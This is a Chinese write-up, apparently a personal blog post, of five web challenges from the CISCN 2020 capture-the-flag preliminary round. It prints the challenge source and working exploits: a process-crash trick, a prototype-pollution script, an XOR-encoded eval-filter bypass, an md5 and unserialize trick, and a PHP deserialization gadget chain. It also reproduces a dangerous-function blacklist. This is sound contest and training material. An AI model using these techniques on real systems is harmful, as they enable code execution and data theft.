ciscn初赛

2020-08-22 113次浏览 0条评论  前往评论

前言


一次躺赢的比赛

一队wp:传送门

y1ng师傅wp:传送门

easyphp


源码为

 <?php
    //题目环境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        // 创建子进程错误,返回-1
        die('could not fork');
    }else if ($pid){
        // 父进程会得到子进程号,所以这里是父进程执行的逻辑
        $r=pcntl_wait($status);
        // 父进程必须等待一个子进程退出后,再创建下一个子进程。
        if(!pcntl_wifexited($status)){//检查状态代码是否代表一个正常的退出。
            //返回值当子进程状态代码代表正常退出时返回 TRUE ,其他情况返回 FALSE。
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
        //向当前进程发送SIGUSR1信号
    }

主要是想进入phpinfo这里子句里面,也就是要让pcntl_wifexited($status)为FALSE

可以给a传fsockopen造成异步,使得当前线程退出,父线程就运行了phpinfo

http://eci-2ze6ie6rtdjibnmrjlx4.cloudeci1.ichunqiu.com/?a=fsockopen&b=1

在phpinfo页面发现flag。

littlegame


给了源码附件,关键代码如下

router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }
});
router.get('/SpawnPoint', function (req, res, next) {
    req.session.knight = {
        "HP": 1000,
        "Gold": 10,
        "Firepower": 10
    }
    res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

可以看到路由/DeveloperControlPanel如果Admin[key] === password就会输出flag,然后

路由/Privilege先检查req.session.knightreq.body.NewAttributeKeyreq.body.NewAttributeValue是否未定义,当然这里的keyvalue都是可控的,然后下面有个关键点就是setFn(req.session.knight, key, value);这里setFn用了require('set-value');这个模块。也就是往req.session.knight添加一个键值对。

这里想到用原型链污染,进行污染对象原型,从而可以修改Admin的key和password。

先访问/SpawnPoint生成session

http://eci-2ze9505q64pi62k5m16h.cloudeci1.ichunqiu.com:8888/SpawnPoint

然后在Privilege进行原型链污染,再在/DeveloperControlPanel输入值即可获取flag。

exp如下:

import requests
import json
headers = {
    "Content-Type":"application/json",
    'Cookie':'__jsluid_h=b34fa3669aa578dc0618e3f9aa1c3a45; session=s:zvjsKzwgmvmxjeoGEWv8F5SimfB6LlQD.YrK/DLOjKSGHC2HJpOHGiV/cmaurt2/fpbrwMle3nLM'
}
url = "http://eci-2ze6ie6rtdji62dm1xo6.cloudeci1.ichunqiu.com:8888/Privilege"
data = {"NewAttributeKey":'abcd',"NewAttributeValue":'__proto__.[abcd]'}
r= requests.session()
r = requests.post(url,data=json.dumps(data),headers=headers)

url = "http://eci-2ze6ie6rtdji62dm1xo6.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
data = {"key":'abcd',"password":'abcd'}
r= requests.session()
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

rceme


源码为

 <?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,执行出错,发现危险字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,执行出错,发现危险字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
}

先看到parserIfLabel函数里的正则

{if:([\s\S]+?)}([\s\S]*?){end\s+if}

其中[\s\S]表示通配,看到后面有一个eval函数,尝试是否可以写进函数。

这里随便试一下可以发现,这个正则式可以匹配的。

image-20200821150736049

这里在本地测试把danger_key过滤函数去掉之后发现,再传phpinfo

直接出现phpinfo()的页面

image-20200821093807478

然后就是绕过danger_key,这里过滤php以及一些函数等等,尝试用异或构造字符。

异或构造phpinfo()

('4:49:R9'^'DRDPT4V')()//phpinfo()

payload

http://eci-2zebqdx3ky4mu3qy28yg.cloudeci1.ichunqiu.com/?a={if:%20(%274:49:R9%27^%27DRDPT4V%27)()}(){end%20%20%20if}

直接在phpinfo里面发现flag。

easytrick


源码为

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太长了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

这里发现需要$trick1$trick2不相等,但是md5值相等的强绕过,还限制了长度不能超过5,而且$trick1被转为了string,数组绕过发现不可行。

这里就是两个不同类型的变量,一个float,一个string,在做比较时不相等,在md5处理时相等。这里可以用php的INF(无穷大)。

构造序列化

<?php
class trick{
    public $trick1=1/0;
    public $trick2=1/0;
}

$a = new trick();
echo serialize($a);

payload

http://eci-2zei1qumnps7gku8ou0x.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}

回显看到flag。

babyunserialize


WMCTF的链,改改就能用了:

<?php
namespace DB{
    abstract class Cursor  implements \IteratorAggregate {}
}

namespace CLI{
    class Agent {
        protected  $server="";
        public $events;
        public function __construct(){
            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")];
            $this->server=$this;

        }
    }
    class WS{}
}

namespace DB\SQL{
    class Mapper extends \DB\Cursor{
        protected
            $props=["quotekey"=>"phpinfo"],
            $adhoc=[-1=>["expr"=>"kawi"]],
            $db;
        function offsetExists($offset){}
        function offsetGet($offset){}
        function offsetSet($offset, $value){}
        function offsetUnset($offset){}
        function getIterator(){}
        function __construct($val){
            $this->db = $val;
        }
    }
}

namespace {
    echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent())));

}

payload

http://eci-2ze0y4x958n38d0jl6pv.cloudeci1.ichunqiu.com/?flag=a%3A2%3A%7Bi%3A0%3BO%3A6%3A%22CLI%5CWS%22%3A0%3A%7B%7Di%3A1%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3Br%3A3%3Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A4%3A%22kawi%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A8%3A%22quotekey%22%3Bs%3A7%3A%22phpinfo%22%3B%7Ds%3A8%3A%22%00%2A%00adhoc%22%3Ba%3A1%3A%7Bi%3A-1%3Ba%3A1%3A%7Bs%3A4%3A%22expr%22%3Bs%3A4%3A%22kawi%22%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3Bs%3A0%3A%22%22%3B%7D%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7D%7D%7D

flag在phpinfo里面



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